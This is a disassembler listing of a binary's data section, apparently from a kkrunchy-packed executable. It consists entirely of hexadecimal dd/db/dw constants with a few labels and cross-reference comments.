		dd 59030303h, 5130445h,	3A09A906h, 22D07123h, 0C402971Dh
		dd 90B0213h, 62080909h,	1124080Fh, 0A0A1D0Ah, 0C0A0A0Ch
		dd 330C0A0Ah, 0DE070A22h, 2B253014h, 122A0A43h,	0BD0B050Ah
		dd 25111911h, 2B445B11h, 24350606h, 3030306h, 29070790h
		dd 151A1F24h, 2045515h,	2020202h, 221A3A24h, 11F8C80Fh
		dd 13481363h, 18181330h, 0FA70205h, 210F0F0Fh, 0DF030303h
		dd 0E904091Ah, 0AB175770h, 5030C72h, 510320Bh, 2ED64613h
		dd 0BCC41462h, 11B81419h, 5018EC14h, 0E080EF4h,	0F4411808h
		dd 107080Eh, 14140615h,	0EF44118h, 7010708h, 4143143h
		dd 607060Dh
		db 6, 2	dup(7)
byte_3FB303	db 0Ch			; DATA XREF: kkrunchy:003EA42Co
		dd 40C0103h, 0C5C1010h,	10001010h, 0E0E011h, 140C00h, 14100C00h
		dd 0FFFF1800h, 0FFFFh, 0A000032h, 1100C0Dh, 18441003h
		dd 0C0A0A0Ch, 10010C00h, 1410100Ch, 1C0104h, 140C2000h
		dd 10A025Ch, 101C0214h,	2401FF20h, 1001000Ch, 0C102010h
		dd 183C0621h, 24210000h, 10001800h, 4FF34h, 200010Ch, 10001001h
		dd 11001FFh, 71F1F18h, 3AFF2020h, 39302F01h, 0C060C07h
		dd 0FF0C0718h, 10140C40h, 24022401h, 0A011C03h,	1010201Ch
		dd 7A080010h, 1C000461h, 18002000h, 64480101h, 2001FF01h
		dd 2010228h, 103030h, 6010018h,	4040C00h, 18100808h, 10060104h
		dd 2E0300Ch, 20CFF04h, 0C040004h, 100A0001h, 0
		dd 181801h, 10FF0CFFh, 62C1400h, 14010014h, 0FF10h, 1101001h
		dd 1080100h, 0A180110h,	10C040Ch, 0C080C04h, 6000C03h
		dd 10C0101h, 1FF1400h, 100100h,	0FFFF1701h, 14020C01h
		dd 21401FFh, 0FF01FF1Ch, 2 dup(0FF000002h), 0FF010C0Ah
		dd 10C0Ah, 200h, 20240102h, 2FFFE0Ch, 4040217h,	0FF32FFh
		dd 0FF040400h, 4040004h, 0FF0404FFh, 6400FF04h,	4000004h
		dd 4040C02h, 40401FFh, 0C002024h, 40102h, 20FF00FFh, 401020Ch
		dd 401FF00h, 10104h, 0FFFF0002h, 10C00h, 0FF020310h, 0FF020401h
		dd 0FFFF1810h, 511F50Ch, 2400Fh, 1020100Ch, 0
		dd 1020h, 200000h, 20100000h, 0C0021C1Ch, 101480h, 1C001008h
		dd 0FFh, 642C0600h, 100064h, 0C010C00h,	1000000h, 2000000h
		dd 14040008h, 4000000h,	1000400Ch, 10105C01h, 0C0018h
		dd 0C000010h, 0D0A0010h, 2E10161Fh, 10000h, 8617Ah, 6617Ah
		dd 10617Ah, 0C0C045Ch, 5C050C0Ch, 1000Ch, 0C020100h, 30C04h
		dd 10030000h, 1C10000Ch, 24180201h, 30001h, 300FF01h, 10FF0200h
		dd 5C01h, 7A040814h, 7A011061h,	0FF021061h, 8200118h, 30C0118h
		dd 2041C01h, 1281844h, 14000820h, 240003h, 104FF10h, 140C1001h
		dd 1C5B0808h, 1C080C0Ah, 8105B08h, 0CFF0C5Ah, 1320CFFh
		dd 0FF001818h, 100C0A24h, 20001418h, 1141800h, 2040Ch
		dd 10118h, 13930h, 0A0D0CE0h, 20000A0Dh, 12000h, 2E200000h
		dd 2E000004h, 0A007203h, 69730C00h, 100A0000h, 14143C69h
		dd 50010014h, 14200118h, 14h, 11800h, 0
		dd 5064640Ah, 3742474Bh, 1E212632h, 71F0A19h, 71F0100h
		dd 14141000h, 4243Ch, 5A0A0201h, 2010005h, 2, 10C0101h
		dd 10540101h, 201000h, 3040620h, 240330h, 0FF10h, 103C0118h
		dd 1010101h, 104800h, 5011C10h,	0C000802h, 5105A14h, 80201h
		dd 300140Ch, 60504h, 5A141Ch, 10001014h, 181818h, 10FFh
		dd 0FF0CFF0Ch, 18000008h, 60FF01h, 0FF0CFF14h, 14101010h
		dd 10180C0Ch, 10100001h, 14001400h, 14140C10h, 10100Ch
		dd 10001400h, 181000h, 8FF0C0Ch, 81C4500h, 10010108h, 10CFF01h
		dd 1420FF01h, 2C040201h, 1E142810h, 1C240003h, 0FF0Ch
		dd 0C140100h, 0C0C0000h, 3F2A1800h, 23393023h, 412A2A01h
		dd 207A615Ah, 3930233Fh, 12A0123h, 78013018h, 39300258h
		dd 0A6661D0h, 1207A10h,	403100Ch, 18043D1Ch, 807050Ch
		dd 2D2D0518h, 1402D2Dh,	40408h,	0C181018h, 220000Ch, 14171002h
		dd 10040A04h, 10C101Ch,	10020204h, 100A2B01h, 3C0C020Ch
		dd 38013Ch, 201C2014h, 1282400h, 14202401h, 140C0003h
		dd 0C001400h, 0C0C1002h, 0C00h,	10040014h, 105240Ah, 5A415A01h
		dd 5D2D2F41h, 345B5D5Bh, 0C000C00h, 300110h, 120010Ch
		dd 343401h, 0C030201h, 10030200h, 28180302h, 1FF0400h
		dd 30392301h, 5A617A3Fh, 220141h, 1008247Ah, 4143018h
		dd 5240A10h, 415A0101h,	2D2F415Ah, 5B5D5B5Dh, 14213A34h
		dd 0C14010Ch, 18023Dh, 200C00h,	24h, 1030Ch, 4010F01h
		dd 200h, 7A010102h, 3100000h, 7A2D2020h, 30103h, 0
		dd 101004h, 64002504h, 1C101C10h, 23D3Ah, 2C000D02h, 100040Ch
		dd 10021h, 140000h, 2404000h, 4040201h,	2010602h, 0F040403h
		dd 23F0602h, 10403h, 58014100h,	20611018h, 58030F7Fh, 1AA1018h
		dd 0CD100210h, 10021010h, 0C0C0C33h, 0FC01FF01h, 0FF010C04h
		dd 1D000001h, 14403F03h, 40400640h, 0C184014h, 880033Fh
		dd 20003800h, 80C00F8h,	2C000410h, 1008FF00h, 44040418h
		dd 7190C40h, 110F0C14h,	7190A16h, 110F0C14h, 7190A16h
		dd 110F0C14h, 7190A16h,	110F0C14h, 51B0A16h, 0E120917h
		dd 51B0C14h, 0E120917h,	51B0C14h, 0E120917h, 51B0C14h
		dd 0E120917h, 41C0C14h,	10100B15h, 41C0917h, 10100B15h
		dd 41C0917h, 10100B15h,	41C0917h, 10100B15h, 61A0917h
		dd 0F110A16h, 1A06150Bh, 0F11160Ah, 61A0B15h, 0F110A16h
		dd 61A0B15h, 0F110A16h,	0FE000B15h, 4080804h, 100h, 4040404h
		dd 2030100h, 58000404h,	107F1018h, 0C10107Fh, 18040C0Ch
		dd 1428FF00h, 5FF00h, 201FE04h,	30203FDh, 60404FCh, 2003h
		dd 480E0502h, 2100E11h,	3020140h, 0FF000014h, 0FF001428h
		dd 0FE040005h, 3FD0201h, 4FC0302h, 20030604h, 8020000h
		dd 1480220h, 140302h, 14481401h, 7001400h, 100C1020h, 3C003010h
		dd 0C303C48h, 4040430h,	14480C04h, 617A2007h, 204020Ah
		dd 18480B04h, 4902044h,	4480404h, 8069058h, 90040490h
		dd 0A900648h, 4832320Ah, 20070014h, 9340960h, 68004438h
		dd 140014h, 4040402h, 31310048h, 2C487068h, 310C00h, 487C0704h
		dd 10012400h, 14001414h, 31020130h, 4D242001h, 41584804h
		dd 18050548h, 1C1C2007h, 30303E1Ch, 1C1C601Ch, 10405h
		dd 0C242048h, 200C2400h, 0FF1C1818h, 0FF1C000Ah, 0AFF1C0Ah
		dd 9013000h, 0FC010808h, 0AFF1044h, 0FF1C6A00h,	0FF1C000Ah
		dd 0C00000Ah, 340C0C00h, 40F0100h, 1004141h, 0E80002FEh
		dd 180601FDh, 0Ch, 12C0618h, 3024218h, 5410301h, 2000483Fh
		dd 1C282024h, 48FF0303h, 1050010h, 4824030Bh, 4000303h
		dd 28000803h, 0C000303h, 303100Ch, 80C08h, 0C18h, 19180201h
		dd 2C030605h, 0C000101h, 3140001h, 0FF020106h, 48100C10h
		dd 18000Ch, 10101002h, 7F200310h, 10002005h, 1C0110FFh
		dd 0C243F01h, 0C000CFFh, 1000h,	10061C20h, 2, 2C002020h
		dd 2FFh, 1C282000h, 14240124h, 0C32201Ch, 0FF2832FFh, 10FF2C32h
		dd 0FF0A01h, 0FF0C021Ch, 2101000h, 451410FFh, 0FF100404h
		dd 1FF0134h, 1031314h, 4041C01h, 90803FFh, 10011C01h, 1009140Ch
		dd 20C0101h, 181C0C0Ch,	4000C1Ch, 14040014h, 7A040814h
		dd 7A011061h, 20012861h, 100C2820h, 400001Ch, 133A3A3Ah
		dd 10012A14h, 24003A18h, 3FF0C00h, 3C0C1800h, 10C0110h
		dd 103C0110h, 18180101h, 0A00FF00h, 1414h, 16003A3Ah, 0C0CFF14h
		dd 410180Dh, 2050305h, 0C060106h, 7011806h, 502010Ch, 1002001h
		dd 10140A02h, 140201h, 3A3A140Ch, 3F1C003Ah, 2010C3Fh
		dd 10003h, 30300h, 18140100h, 0C1C18h, 10000014h, 14001824h
		dd 0E32003Ah, 18102424h, 301143Ah, 10200h, 3030002h, 14100100h
		dd 180C3A10h, 10001800h, 0C181218h, 10000C3Ah, 142000h
		dd 6000010h, 14180020h,	1Ch, 0C000C0Ah,	20100000h, 0
		dd 0C0C0000h, 0C0C0C20h, 10000h, 90C040Ch, 5100110h, 145A1402h
		dd 10100214h, 0C281401h, 140C0C0Ch, 10001420h, 10C0110h
		dd 1021810h, 2C0C0103h,	2C18140Ch, 145F2E40h, 18181408h
		dd 0FF140102h, 10100000h, 10C07h, 0
		dd 100020h, 80C0Ch, 10C0001h, 30C020Ch,	10C040Ch, 0FF020310h
		dd 0FF100C10h, 3F10FF04h, 40FFF0Ch, 2D0D1006h, 7F2E3E0Ah
		dd 240C0C1Fh, 0C0C0Ch, 1141803h, 2, 2002FF20h, 1010100Ah
		dd 0C105C18h, 0FF0C1419h, 0FF0C0Ch, 1F2040h, 0FF0000h
		dd 10000000h, 1000000h
		db 0, 1
word_3FBC2A	dw 4			; DATA XREF: kkrunchy:003EA430o
		dd 40004h, 5A4D0004h, 20004h, 100002h, 4001Ch, 20004h
		dd 6 dup(40004h), 40002h, 10B80048h, 110B8h, 40002h, 7 dup(40004h)
		dd 40002h, 100010h, 40010h, 0C000Ch, 40004h
		db 4, 0
word_3FBC9E	dw 260h			; DATA XREF: kkrunchy:003EA434o
		dd 30000000h, 1040041h,	1040000h, 800000h, 10000h, 28000h
		dd 1048000h, 10000h, 3D08000h, 2AC0000h, 31440000h, 41h
		dd 1040001h, 0
		dd 1, 3E80001h,	311C0000h, 1140041h, 3E80000h, 30F80000h
		dd 30CC0041h, 2AC0041h,	1000000h, 319C0000h, 31940041h
		dd 31740041h, 11C40041h, 2000040h, 1F40000h, 0FA0000h
		dd 2000000h, 31A40000h,	7240041h, 3A70000h, 1F40000h, 1040000h
		dd 31EC0000h, 0C0041h, 91C00000h, 91D00041h, 1010041h
		dd 2000000h, 1030000h, 31C80000h, 31A80041h, 322C0041h
		dd 3A70041h, 2000000h, 32180000h, 16210041h, 32140040h
		dd 31F40041h, 5E80041h,	3D60000h, 32AC0000h, 27100041h
		dd 32800000h, 2000041h,	4000000h, 32340000h, 0A000041h
		dd 2CC0000h, 100000h, 4010000h,	13880000h, 4000000h, 33780000h
		dd 33640041h, 33480041h, 0EA600041h, 33200000h,	2000041h
		dd 32F40000h, 4000041h,	32B00000h, 0FFFF0041h, 0
		dd 3D64000h, 1040000h, 1000000h, 1A30000h, 337C0000h, 19850041h
		dd 2CC0040h, 1040000h, 1A30000h, 33A00000h, 1B810041h
		dd 4080040h, 27100000h,	4010000h, 33F40000h, 33EC0041h
		dd 33D80041h, 33C00041h, 32AC0041h, 7D40041h, 3AF0000h
		dd 10000h, 35CC0000h, 35C40041h, 358C0041h, 355C0041h
		dd 10041h, 35540000h, 35500041h, 10041h, 35480000h, 35440041h
		dd 35380041h, 20041h, 35300000h, 352C0041h, 30041h, 35280000h
		dd 800041h, 35240000h, 34F80041h, 34EC0041h, 34E00041h
		dd 91D00041h, 34980041h, 322C0041h, 34700041h, 34400041h
		dd 34140041h, 3AF0041h,	36200000h, 1040041h, 35FC0000h
		dd 22300041h, 1040040h,	91DC0000h, 250041h, 37D8C000h
		dd 30041h, 58000h, 1DC000h, 37B8C000h, 379C0041h, 37840041h
		dd 37600041h, 8D0041h, 93C000h,	94C000h, 0FDC000h, 3744C000h
		dd 37240041h, 37140041h, 37080041h, 36FC0041h, 364C0041h
		dd 8E500041h, 30041h, 1048000h,	322C0000h, 363C0041h, 36280041h
		dd 273F0041h, 273C0000h, 20000h, 2AFB0000h, 20000h, 4240000h
		dd 273F0000h, 4010000h,	10000h,	27477F00h, 399C0000h, 39740041h
		dd 39640041h, 39540041h, 39480041h, 393C0041h, 39300041h
		dd 39200041h, 39100041h, 38FC0041h, 38E80041h, 38CC0041h
		dd 38C40041h, 38B00041h, 389C0041h, 38840041h, 386C0041h
		dd 38600041h, 38540041h, 38480041h, 38380041h, 2A120041h
		dd 2C110040h, 2D670040h, 382C0040h, 38140041h, 38080041h
		dd 37E80041h, 121C0041h, 1AD0000h, 39C00000h, 3E80041h
		dd 10000000h, 0A2680000h, 0A2680041h, 39AC0041h, 32140041h
		dd 3A140041h, 1AD0041h,	39F40000h, 2EFD0041h, 1040040h
		dd 1040000h, 3A2C0000h,	0FFFF0041h, 0FE0000h, 0FF0000h
		dd 0FFFFFFFFh, 0FFFFFF00h, 0FFFF00FFh, 4010000h, 3A500000h
		dd 3A480041h, 3A3C0041h, 3A380041h, 0FFFF0041h,	0BB80000h
		dd 0A2E80000h, 96380041h, 96340041h, 0BB80041h,	3A640000h
		dd 3A180041h, 7D00041h,	35500000h, 667E0041h, 667F8004h
		dd 844004h, 800000h, 1000000h, 840000h,	800000h, 1000000h
		dd 840000h, 800000h, 840000h, 800000h, 4040000h, 4010000h
		dd 10080000h, 10000h, 50000h, 0FFFF0000h, 10000h, 2000000h
		dd 900000h, 800000h, 2000000h, 2 dup(3E80000h),	2000000h
		dd 10100000h, 0FFFF0000h, 2003FFFh, 3E80000h, 170000h
		dd 27330000h, 82C0000h,	2 dup(3E80000h), 170000h, 27330000h
		dd 10000h, 3E80000h, 271E0000h,	10100000h, 2 dup(3E80000h)
		dd 13380000h, 2B90000h,	0FF0000h, 10600000h, 0FFFF0000h
		dd 3A940000h, 3A8C0041h, 7D00041h, 3A780000h, 3A8C0041h
		dd 7D00041h, 3A780000h,	3A8C0041h, 7D00041h, 3A780000h
		dd 3A8C0041h, 7D00041h,	3A780000h, 3A680041h, 0A2E80041h
		dd 2B90041h, 1000000h, 0EA600000h, 3A980000h, 3EA90041h
		dd 1A30040h, 1A30000h, 96500000h, 3AF80041h, 3AE80041h
		dd 3AD40041h, 3ABC0041h, 3AA40041h, 1240041h, 96500000h
		dd 800041h, 2 dup(1140000h), 3B040000h,	4100041h, 1040000h
		dd 1140000h, 96500000h,	1A80041h, 1A70000h, 3B240000h
		dd 3E80041h, 3B0C0000h,	1140041h, 1A70000h, 1A30000h, 3B4C0000h
		dd 485F0041h, 1800040h,	4140000h, 3B880000h, 41h, 3B808000h
		dd 10041h, 3B788000h, 20041h, 3B708000h, 30041h, 2008000h
		dd 10000000h, 3B6C0000h, 3B640041h, 1800041h, 3B5C0000h
		dd 2080041h, 1040000h, 3DEC0000h, 8FDC0041h, 32AC0041h
		dd 3DE80041h, 2080041h,	1040000h, 3DEC0000h, 8FDC0041h
		dd 33780041h, 11C0041h,	1040000h, 3DF00000h, 800041h, 0
		dd 8000h, 1084000h, 3F0000h, 3E00000Fh,	20041h,	1048000h
		dd 3DEC0000h, 1040041h,	1040000h, 3E8C0000h, 4000041h
		dd 0
		dd 3E304000h, 322C0041h, 36C0041h, 1040000h, 3B900000h
		dd 2 dup(3DEC0041h), 9ECC0041h,	3E940041h, 20C0041h, 1040000h
		dd 3B900000h, 3DEC0041h, 9ECC0041h, 3E940041h, 3EA80041h
		dd 9ECC0041h, 3EA80041h, 16D40041h, 1BD0000h, 4080000h
		dd 91D00000h, 3EF40041h, 3EC00041h, 27100041h, 10000000h
		dd 1C00000h, 1BD0000h, 3F000000h, 3E80041h, 1BD0000h, 1A30000h
		dd 544F0000h, 0FFFF0040h, 4010000h, 1BD0000h, 91D00000h
		dd 1A30041h, 3F340000h,	56AC0041h, 3F540040h, 3F540041h
		dd 0FFFF0041h, 0FF3FFFh, 3F580000h, 0A2E80041h,	3F5C0041h
		dd 0A2E80041h, 3F5C0041h, 3E80041h, 86A00000h, 42400001h
		dd 400000Fh, 41080000h,	8000041h, 72C0000h, 1A70000h, 0
		dd 51800010h, 150001h, 100000h,	0E100000h, 940000h, 42780000h
		dd 42700041h, 426C0041h, 42680041h, 42640041h, 42600041h
		dd 42580041h, 42540041h, 424C0041h, 42480041h, 42440041h
		dd 190041h, 42140002h, 20041h, 42008000h, 800041h, 91D00000h
		dd 41FC0041h, 410C0041h, 4000041h, 3B6C0000h, 1A70041h
		dd 427C0000h, 5FF30041h, 7D00040h, 35500000h, 3E80041h
		dd 3E80000h, 3F680000h,	3F740041h, 3F8C0041h, 3F980041h
		dd 3FA80041h, 3FB80041h, 4140041h, 3FCC0000h, 27100041h
		dd 35500000h, 2000041h,	33F40000h, 13880041h, 0
		dd 20000010h, 0A540000h, 1A70000h, 0A2E80000h, 4010041h
		dd 51800000h, 0E100001h, 43880000h, 800041h, 43800000h
		dd 437C0041h, 42480041h, 42440041h, 2EE0041h, 43780000h
		dd 43700041h, 1F40041h,	43680000h, 91D00041h, 41FC0041h
		dd 428C0041h, 4000041h,	3B6C0000h, 1A70041h, 43900000h
		dd 656A0041h, 5C80040h,	1A70000h, 44440000h, 0FA0041h
		dd 10000h, 44380000h, 44340041h, 442C0041h, 44240041h
		dd 441C0041h, 44140041h, 440C0041h, 43EC0041h, 43DC0041h
		dd 44340041h, 43A40041h, 3B6C0041h, 1A70041h, 445C0000h
		dd 682C0041h, 3E80040h,	3E80000h, 19800000h, 96780000h
		dd 22880041h, 175A0041h, 447C0041h, 8E500041h, 44780041h
		dd 44700041h, 6BBC0041h, 40h, 22980002h, 175A0041h, 1900041h
		dd 44700000h, 96780041h, 1980041h, 1980000h, 6CB20000h
		dd 96780040h, 96780041h, 1980041h, 1880000h, 96780000h
		dd 1980041h, 10000h, 44BC0000h,	1850041h, 96780000h, 10041h
		dd 1980000h, 19800000h,	18C0000h, 96780000h, 1980041h
		dd 1980000h, 44BC0000h,	1850041h, 96780000h, 1980041h
		dd 19800000h, 96780000h, 18C0041h, 1A40000h, 1A30000h
		dd 44F40000h, 96780041h, 3E80041h, 44E40000h, 1980041h
		dd 19800000h, 44C40000h, 1A30041h, 70AF0000h, 4000040h
		dd 45248000h, 2D80041h,	2AC0000h, 46140000h, 46040041h
		dd 45F40041h, 45E40041h, 45CC0041h, 459C0041h, 45740041h
		dd 10041h, 45480000h, 46200041h, 2AC0041h, 1A30000h, 0FF0000h
		dd 27C00000h, 75300009h, 72FC0000h, 11080040h, 46740000h
		dd 27100041h, 46700000h, 46680041h, 10000041h, 96780000h
		dd 3F540041h, 46640041h, 3E80041h, 3A80000h, 3A70000h
		dd 46A00000h, 3A70041h,	46DC0000h, 1A30041h, 46BC0000h
		dd 77A70041h, 46F00040h, 59E40041h, 4F0C0000h, 2000041h
		dd 4EE40000h, 1800041h,	4EC80000h, 1800041h, 4EA40000h
		dd 1800041h, 4E780000h,	4E1C0041h, 4E040041h, 0C80041h
		dd 190000h, 20002h, 4DE48000h, 180041h,	0E0000h, 3B6C0000h
		dd 4D940041h, 4D8C0041h, 4D800041h, 4D700041h, 4D500041h
		dd 4D180041h, 0FFFF0041h, 10000h, 28000h, 0A2E88000h, 4C540041h
		dd 1040041h, 9FE00000h,	9ECC0041h, 9FE00041h, 4BCC0041h
		dd 10000041h, 86A00000h, 4BB80001h, 4B900041h, 0A2E80041h
		dd 4B6C0041h, 0A2E80041h, 9ECC0041h, 4AF00041h,	0EE800041h
		dd 8E500036h, 91D00041h, 0A0E80041h, 4AD80041h,	91D00041h
		dd 4AB80041h, 27C00041h, 4A800009h, 4A7C0041h, 4A680041h
		dd 4A800041h, 4A440041h, 1040041h, 322C0000h, 36280041h
		dd 49DC0041h, 91D00041h, 3E80041h, 4010000h, 49880000h
		dd 49640041h, 49880041h, 49400041h, 49880041h, 490C0041h
		dd 91D00041h, 4010041h,	49880000h, 48E40041h, 48C80041h
		dd 48B00041h, 48800041h, 48640041h, 3E80041h, 0FFFF0000h
		dd 2 dup(4000000h), 48400000h, 47E00041h, 3B640041h, 47B40041h
		dd 0A2680041h, 47A80041h, 0A3E80041h, 51800041h, 0E100001h
		dd 91D00000h, 41FC0041h, 47340041h, 8FD00041h, 3AE0041h
		dd 47100000h, 46F80041h, 363C0041h, 52C0041h, 3270000h
		dd 4F500000h, 4F300041h, 2000041h, 1D40000h, 4FB80000h
		dd 1800041h, 4FB40000h,	4FA40041h, 3F580041h, 4F9C0041h
		dd 51800041h, 4F900001h, 3AE0041h, 4F880000h, 4F7C0041h
		dd 4F700041h, 4F680041h, 3F580041h, 4F9C0041h, 51800041h
		dd 4F900001h, 3AE0041h,	4F880000h, 4F7C0041h, 4F700041h
		dd 4F680041h, 4F640041h, 4F600041h, 4F5C0041h, 4F580041h
		dd 49880041h, 4F540041h, 3270041h, 1800000h, 4FBC0000h
		dd 8D810041h, 9AB80040h, 9C380041h, 4FD80041h, 9D380041h
		dd 91D00041h, 8E200041h, 9C380041h, 9D380041h, 9C380041h
		dd 2380041h, 9AB80000h,	501C0041h, 2 dup(0A2680041h), 2	dup(0A3E80041h)
		dd 50080041h, 0A1E80041h, 4F0C0041h, 51800041h,	8E440001h
		dd 50040041h, 4000041h,	2EE0000h, 50000000h, 4FFC0041h
		dd 1F40041h, 4FF80000h,	940041h, 4FE00000h, 8E500041h
		dd 8ED00041h, 0A0E80041h, 8F500041h, 4F0C0041h,	0A1E80041h
		dd 9C380041h, 0EA600041h, 9D380000h, 27100041h,	0CB800000h
		dd 0EA6000A4h, 10000000h, 50240000h, 10000041h,	32140000h
		dd 10000041h, 50300000h, 10000041h, 32140000h, 10000041h
		dd 50240000h, 50600041h, 50500041h, 50300041h, 50440041h
		dd 10000041h, 50400000h, 32140041h, 10000041h, 10000000h
		dd 32140000h, 2	dup(50700041h),	10000041h, 1F0000h, 4C8000Fh
		dd 4C90000h, 3380000h, 517C0000h, 51740041h, 516C0041h
		dd 51640041h, 515C0041h, 51540041h, 514C0041h, 8E500041h
		dd 10041h, 3A580000h, 51400041h, 51340041h, 512C0041h
		dd 51240041h, 8FD00041h, 3AE0041h, 51000000h, 50F00041h
		dd 50E00041h, 50DC0041h, 51800041h, 8E440001h, 50040041h
		dd 4000041h, 3E80000h, 50000000h, 4FFC0041h, 1F40041h
		dd 4FF80000h, 940041h, 4FE00000h, 4F0C0041h, 50D40041h
		dd 50CC0041h, 0A1E80041h, 50BC0041h, 50B80041h,	50AC0041h
		dd 0A0E80041h, 8E500041h, 4AD80041h, 50A00041h,	0A2E80041h
		dd 509C0041h, 50980041h, 50940041h, 1000041h, 0A2E80000h
		dd 508C0041h, 50880041h, 50840041h, 4F300041h, 2000041h
		dd 0A1E80000h, 515C0041h, 507C0041h, 10041h, 0A1E80000h
		dd 10041h, 0A1E80000h, 50780041h, 11840041h, 50980000h
		dd 515C0041h, 507C0041h, 51840041h, 8E180041h, 10041h
		dd 800000h, 9D500000h, 9E540041h, 3 dup(9E680041h), 23010041h
		dd 0AB896745h, 0DCFEEFCDh, 547698BAh, 1032h, 9E7CF000h
		dd 9E800041h, 9E840041h, 9E880041h, 2110041h, 0FFFF0000h
		dd 0FF0000h, 9E900000h,	800041h, 2 dup(2000000h), 27100000h
		dd 52440000h, 52180041h, 52100041h, 51D80041h, 8E500041h
		dd 10000041h, 0EA600000h, 10000000h, 52540000h,	12040041h
		dd 32140000h, 2000041h,	10000000h, 53280000h, 1F40041h
		dd 900000h, 53200000h, 53100041h, 52FC0041h, 52EC0041h
		dd 52DC0041h, 52D00041h, 52CC0041h, 0EA600041h,	10000000h
		dd 0EA600000h, 10000000h, 532C0000h, 12040041h,	32140000h
		dd 2000041h, 10000000h,	53280000h, 537C0041h, 53580041h
		dd 52CC0041h, 0EA600041h, 18000000h, 53D40000h,	0EA600041h
		dd 10000000h, 0EA600000h, 2000000h, 58540000h, 2000041h
		dd 0D70000h, 0B30000h, 3600000h, 54540000h, 57B80041h
		dd 54200041h, 57CC0041h, 580C0041h, 584C0041h, 58500041h
		dd 58480041h, 58440041h, 58400041h, 1B680041h, 585C0000h
		dd 0EA600041h, 10000000h, 58540000h, 2000041h, 1680000h
		dd 594C0000h, 599C0041h, 59940041h, 59980041h, 59900041h
		dd 59400041h, 3E60041h,	58A80000h, 58C40041h, 59580041h
		dd 598C0041h, 59840041h, 59880041h, 59600041h, 59680041h
		dd 59700041h, 1000041h
		dd 59780000h, 590C0041h, 0EA600041h, 10000000h,	0A4F00000h
		dd 58540000h, 2000041h,	5BB80000h, 5C0F0041h, 0EA600041h
		dd 10000000h, 5C1C0000h, 0A00041h, 5C880000h, 52CC0041h
		dd 5FBC0041h, 0DAD0041h, 1C520000h, 5E400000h, 1B5A0041h
		dd 5EAC0000h, 0A5E0041h, 840000h, 5F200000h, 10FC0041h
		dd 6400000h, 0FDC0000h,	0E290000h, 7D00000h, 5FB00000h
		dd 5FA80041h, 5D2C0041h, 900041h, 5DAC0000h, 0CF80041h
		dd 10040000h, 0EA600000h, 10000h, 890000h, 59A00000h, 10000041h
		dd 0A80000h, 5A2C0000h,	0DE0041h, 5AD80000h, 10040041h
		dd 0A000000h, 91D00000h, 2000041h, 5FCC0000h, 2100041h
		dd 5FF40000h, 600C0041h, 5FC40041h, 5FC80041h, 60040041h
		dd 2AC0041h, 5FFC0000h,	0CD80041h, 58540000h, 2000041h
		dd 890000h, 60140000h, 27100041h, 6000000h, 0A80000h, 60A00000h
		dd 0DE0041h, 614C0000h,	622C0041h, 626C0041h, 0A00041h
		dd 62D00000h, 860041h, 63740000h, 2C40041h, 64D40000h
		dd 64CC0041h, 63FC0041h, 36A0041h, 4000000h, 860000h, 64200000h
		dd 3E80041h, 900000h, 100000h, 64CC0000h, 64A80041h, 4CE0041h
		dd 22080000h, 2000000h,	890000h, 64DC0000h, 0EA600041h
		dd 10000000h, 0A80000h,	65680000h, 0DE0041h, 66140000h
		dd 66F40041h, 67280041h, 67340041h, 0A00041h, 67A00000h
		dd 8940041h, 1300000h, 68440000h, 69780041h, 6AAC0041h
		dd 8940041h, 0CEBC0000h, 2000000h, 32B0000h, 0DAC0000h
		dd 1B580000h, 0DAB0000h, 6AC00000h, 6AD80041h, 20000041h
		dd 6B800000h, 6B7C0041h, 6B740041h, 6B6C0041h, 91D00041h
		dd 6B740041h, 6B600041h, 41h, 6B4C4000h, 6B380041h, 20041h
		dd 6AC80000h, 6AD00041h, 10B80041h, 100000h, 20100000h
		dd 27100000h, 6C180000h, 870041h, 6B880000h, 20000041h
		dd 6BD40000h, 6BF00041h, 12C0041h, 6C040000h, 2000041h
		dd 0EA600000h, 33780000h, 9ECC0041h, 2000041h, 5300000h
		dd 2000000h, 77D00000h,	0EA600041h, 77CC0000h, 91D00041h
		dd 10041h, 77B80000h, 10041h, 77A40000h, 77900041h, 777C0041h
		dd 77680041h, 77480041h, 77280041h, 3A580041h, 1000041h
		dd 3A940000h, 77200041h, 33780041h, 9ECC0041h, 77080041h
		dd 76F40041h, 27100041h, 33780000h, 2 dup(9ECC0041h), 76800041h
		dd 76780041h, 0EA600041h, 76F40000h, 76780041h,	9EA80041h
		dd 76680041h, 76400041h, 8E500041h, 3E80041h, 762C0000h
		dd 76240041h, 2000041h,	2000000h, 77F80000h, 77EC0041h
		dd 77E80041h, 77DC0041h, 77D80041h, 1B00041h, 1A70000h
		dd 78240000h, 0FFFF0041h, 77FC0000h, 3E80041h, 0D6E00000h
		dd 1A70040h, 78300000h,	0DE400041h, 0D7C0040h, 1A70000h
		dd 0FFFF0000h, 10000h, 33780000h, 9ECC0041h, 78A80041h
		dd 800041h, 800000h, 100000h, 800000h, 78A00000h, 788C0041h
		dd 2000041h, 2000000h, 9EB00000h, 9EB40041h, 78800041h
		dd 78500041h, 8E500041h, 78440041h, 1A70041h, 78D00000h
		dd 0DE9A0041h, 0B20040h, 7A840000h, 0C60041h, 79BC0000h
		dd 0C00041h, 0B20000h, 79080000h, 0AC0041h, 1E40000h, 78E80000h
		dd 18C0041h, 36200000h,	17C0041h, 7B380000h, 2400041h
		dd 8E200000h, 33780041h, 9FE00041h, 2000041h, 0EA600000h
		dd 7DC60000h, 1000041h,	440C0000h, 51D80041h, 8E500041h
		dd 2440041h, 2030000h, 3E80000h, 2000000h, 7D2C0000h, 8480041h
		dd 3C0000h, 7D300000h, 3E80041h, 9EC40000h, 7D340041h
		dd 3E80041h, 1B00000h, 1AD0000h, 7D380000h, 9EC40041h
		dd 3E80041h, 0E8E10000h, 1AD0040h, 0FFFF0000h, 4010000h
		dd 7D700000h, 0E9510041h, 7DC60040h, 0FF0041h, 7DBE0000h
		dd 8080041h, 81880000h,	0EA600041h, 8000000h, 81800000h
		dd 3F540041h, 81700041h, 815C0041h, 81540041h, 81480041h
		dd 81400041h, 81380041h, 14C0041h, 14C0000h, 0FFFF0000h
		dd 4010000h, 0A2E80000h, 7400041h, 2C90000h, 14C0000h
		dd 7D980000h, 96780041h, 82300041h, 81F80041h, 3E80041h
		dd 3E80000h, 0A2E80000h, 3E80041h, 14C0000h, 0ECD60000h
		dd 81E40040h, 81A00041h, 51800041h, 7D980001h, 7D00041h
		dd 0EA600000h, 1000000h, 2000000h, 2C90000h, 1080000h
		dd 1A30000h, 825C0000h,	0EE230041h, 4880040h, 3270000h
		dd 83080000h, 3F540041h, 7D980041h, 20041h, 13880000h
